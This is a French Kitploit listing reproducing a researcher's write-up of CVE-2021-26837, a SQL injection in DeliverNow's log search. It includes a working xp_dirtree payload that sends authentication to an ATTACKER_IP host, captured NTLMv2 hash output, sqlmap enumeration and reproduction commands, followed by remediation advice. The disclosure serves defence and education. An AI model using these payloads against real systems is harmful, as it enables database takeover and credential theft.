Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2021-26837 — CVE-2021-26837 - Injection SQL dans le paramètre SearchTextbox de HelpSystems/Fortra DeliverNow. Payloads, requêtes annotées et preuves. Corrigé dans la version 1.2.18. | Kitploit
Outils/GitHubGitHub/l0lsec/cve-2021-26837
Analyse des VulnérabilitésExploitationExploitation d'Applications WebExfiltration de DonnéesTests d'Intrusion
GitHubl0lsec/cve-2021-26837

CVE-2021-26837

CVE-2021-26837 - Injection SQL dans le paramètre SearchTextbox de HelpSystems/Fortra DeliverNow. Payloads, requêtes annotées et preuves. Corrigé dans la version 1.2.18.

Voir le dépôt
4il y a 1 moisPas encore vérifié
Site web

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2021-26837

Injection SQL dans HelpSystems / Fortra DeliverNow

Le paramètre SearchTextbox de la page de recherche de journaux de DeliverNow (/LogGrid.aspx) est concaténé directement dans une requête SQL Server, sans paramétrage ni validation côté serveur. L'application renvoyait également les erreurs d'analyse SQL Server à l'utilisateur, ce qui est ainsi que le bug s'est révélé au départ.

La connexion à la base de données s'exécutait en tant que sa, l'injection a donc hérité des droits sysadmin complets sur l'instance. Cela a suffi pour appeler master.dbo.xp_dirtree sur un chemin UNC contrôlé par l'attaquant et forcer le compte de service SQL Server à s'authentifier en sortie.

Découvert lors d'un test de pénétration interne. Corrigé par l'éditeur dans DeliverNow 1.2.18 et publié sous la référence CVE-2021-26837.

Découvert et signalé par Sedric Louissaint de Show Up Show Out Security.


Résumé

CVECVE-2021-26837
ProduitDeliverNow (HelpSystems, désormais Fortra)
Versions affectéesantérieures à 1.2.18 (l'avis d'origine listait 1.2.18 et versions antérieures)
FaiblesseCWE-89 : Injection SQL
CVSS 3.1 (NVD)9.8 Critique CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS 2 (chercheur)9.0 AV:N/AC:L/Au:N/C:C/I:P/A:P
Publié2023-09-19
Testé surWindows Server 2019 Datacenter 10.0 (x64), SQL Server 2017 (RTM-CU20) 14.0.3294.2 (x64)

Description NVD :

La vulnérabilité d'injection SQL dans le paramètre SearchTextBox de Fortra (anciennement HelpSystems) DeliverNow avant la version 1.2.18, permet aux attaquants d'exécuter du code arbitraire, d'élever leurs privilèges et d'obtenir des informations sensibles.

Détail technique

Point d'injection

POST /LogGrid.aspx, paramètre du corps SearchTextbox. Le formulaire est le contrôle de recherche de la vue Journal de l'application. ddlFieldName sélectionne la colonne à rechercher (Description dans les requêtes ci-dessous) et SearchTextbox contient le terme.

Un guillemet simple suffit pour le prouver :

root@kitploit:~
blah'

La réponse affiche l'erreur d'analyse SQL Server directement dans la page :

root@kitploit:~
Info: Unclosed quotation mark after the character string ''. Incorrect syntax near ''.

Recherche dans les journaux renvoyant une erreur de guillemet non fermé

La divulgation de cette erreur est une constatation en soi. Elle transforme une injection qui serait autrement aveugle en une injection entièrement interactive.

Confirmation hors bande via xp_dirtree

Comme la connexion s'exécute en tant que sa, master.dbo.xp_dirtree est accessible. En le pointant vers un chemin UNC sur un hôte que vous contrôlez, le compte de service SQL Server s'authentifie en sortie vers cet hôte via SMB :

root@kitploit:~
123';declare @q varchar(99);set @q='\\ATTACKER_IP'+'\fro'; exec master.dbo.xp_dirtree @q;--

La charge utile dans la zone de recherche

Requête complète dans poc/exploited-request.http, charges utiles dans poc/payloads.sql.

La requête HTTP exploitée

Authentification capturée

Avec smbserver.py d'Impacket à l'écoute, le compte de service SQL Server de la cible s'authentifie et divulgue un hash NTLMv2 :

root@kitploit:~
[*] Incoming connection (10.1.103.109,49488)
[*] AUTHENTICATE_MESSAGE (\SQLServices,SCS-FTEREPORTS)
[*] User SCS-FTEREPORTS\SQLServices authenticated successfully
[*] SQLServices::...:aaaaaaaaaaaaaaaa:e1571710b57de81bc1668fdc92ff1f2a:...

Authentification forcée capturée avec Impacket

Le hash est ensuite disponible pour du cassage hors ligne ou pour un relais NTLM vers un autre hôte.

Contexte de privilèges

sqlmap confirme l'injection et le niveau de privilèges :

root@kitploit:~
back-end DBMS: Microsoft SQL Server 2017
[INFO] fetching current user
[INFO] retrieved: sa
current user: 'sa'
[INFO] fetching current database
[INFO] retrieved: RJSReportDelivery
current database: 'RJSReportDelivery'
[INFO] fetching database users password hashes
[INFO] retrieved: 21

Énumération sqlmap montrant l'utilisateur courant sa

sa signifie que tous les hash de connexion de l'instance sont lisibles, et xp_cmdshell n'est qu'à un appel sp_configure de l'exécution de commandes sur l'hôte.

Reproduction

Sur une instance de laboratoire que vous possédez ou sur laquelle vous êtes autorisé à tester :

  1. Accédez à l'interface web de DeliverNow (par défaut http://<host>:1080/) et ouvrez la vue Journal.
  2. Saisissez blah' dans la zone de recherche et validez. Une version vulnérable affiche l'erreur d'analyse SQL Server dans la page.
  3. Démarrez un écouteur sur un hôte que la cible peut joindre :
    root@kitploit:~
    sudo smbserver.py c . -smb2support
    
  4. Soumettez la charge utile xp_dirtree de poc/payloads.sql en remplaçant l'adresse par votre propre IP. Une version vulnérable produit une authentification SMB entrante depuis le compte de service SQL Server.
  5. Confirmez éventuellement avec sqlmap en utilisant la requête enregistrée :
    root@kitploit:~
    sqlmap -r poc/exploited-request.http -p SearchTextbox --batch --current-user --current-db
    

Contenu du dépôt

root@kitploit:~
poc/
  payloads.sql            Detection and out-of-band payloads for SearchTextbox
  exploited-request.http  The full POST request, ready for sqlmap -r
  sqlmap.md               sqlmap invocations and expected output
media/
  01-sql-error-in-log-search.png
  02-xp-dirtree-payload-in-searchtextbox.png
  03-forced-auth-captured-impacket.png
  04-sqlmap-sa-enumeration.png
  05-exploited-http-request.png

Les hôtes et les hash dans les captures proviennent de l'engagement d'origine et sont morts depuis longtemps. Remplacez-les par votre propre adresse d'écoute lors de la reproduction.

Remédiation

  1. Utilisez des requêtes paramétrées / des instructions préparées pour chaque requête construite à partir d'une entrée utilisateur. C'est le correctif réel. Tout le reste relève de la défense en profondeur.
  2. Validez et assainissez côté serveur. Le corps de la requête POST est entièrement contrôlé par l'attaquant, quelle que soit ce que le formulaire côté client autorise.
  3. Cessez de vous connecter en tant que sa. L'application a besoin d'un accès en lecture et en écriture à ses propres tables. Elle n'a pas besoin des droits sysadmin, ni de xp_dirtree. Le principe du moindre privilège n'aurait pas empêché l'injection mais l'aurait contenue.
  4. N'affichez pas les erreurs de base de données aux utilisateurs. Consignez-les côté serveur et renvoyez un message générique.
  5. Restreignez le SMB sortant depuis les serveurs de base de données en périphérie du réseau, ce qui supprime le canal hors bande utilisé ici.

Corrigé par l'éditeur dans DeliverNow 1.2.18. Mettez à jour.

Chronologie

DateÉvénement
2021Découvert lors d'un test de pénétration interne et signalé à HelpSystems
2021Corrigé dans DeliverNow 1.2.18
2023-09-19CVE-2021-26837 publié dans la NVD, score 9.8 Critique

Publications

  • Compte personnel : https://sedriclouissaint.com/blog/delivernow-sql-injection-cve-2021-26837/
  • Show Up Show Out Security : https://susos.co/blog/sqlnow-sql-injection-in-delivernow-cve-2021-26837

Avertissement

Publié après la remédiation par l'éditeur, à des fins défensives et éducatives. Les charges utiles ici ciblent une version corrigée il y a des années. Ne les exécutez pas contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite de tester.

Télécharger l’outil